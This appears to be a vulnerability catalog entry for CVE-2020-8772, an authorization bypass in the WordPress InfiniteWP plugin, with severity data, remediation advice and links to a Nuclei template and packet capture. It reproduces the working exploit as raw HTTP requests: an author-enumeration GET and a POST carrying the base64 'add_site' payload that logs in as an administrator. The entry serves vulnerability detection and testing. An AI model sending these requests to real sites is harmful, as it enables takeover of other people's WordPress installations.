| Title | WordPress InfiniteWP <1.9.4.5 - Authorization Bypass |
|---|---|
| Author | princechaddha,scent2d |
| Severity | Critical |
| Impact | An attacker can gain unauthorized administrative access to the WordPress site. |
| Remediation | Upgrade to InfiniteWP 1.9.4.5 or higher. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93091 |
| CVE ID | CVE-2020-8772 |
| CWE ID | CWE-862 |
| Tags | cve cve2020 wpscan wordpress wp-plugin wp infinitewp auth-bypass revmakx vuln |
WordPress InfiniteWP plugin before 1.9.4.5 for WordPress contains an authorization bypass vulnerability via a missing authorization check in iwp_mmb_set_request in init.php. An attacker who knows the username of an administrator can log in, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /?author=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Connection: close
Content-Length: 93
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJxQXBoUnEifX0=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8772.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8772.pcap
N/AN/A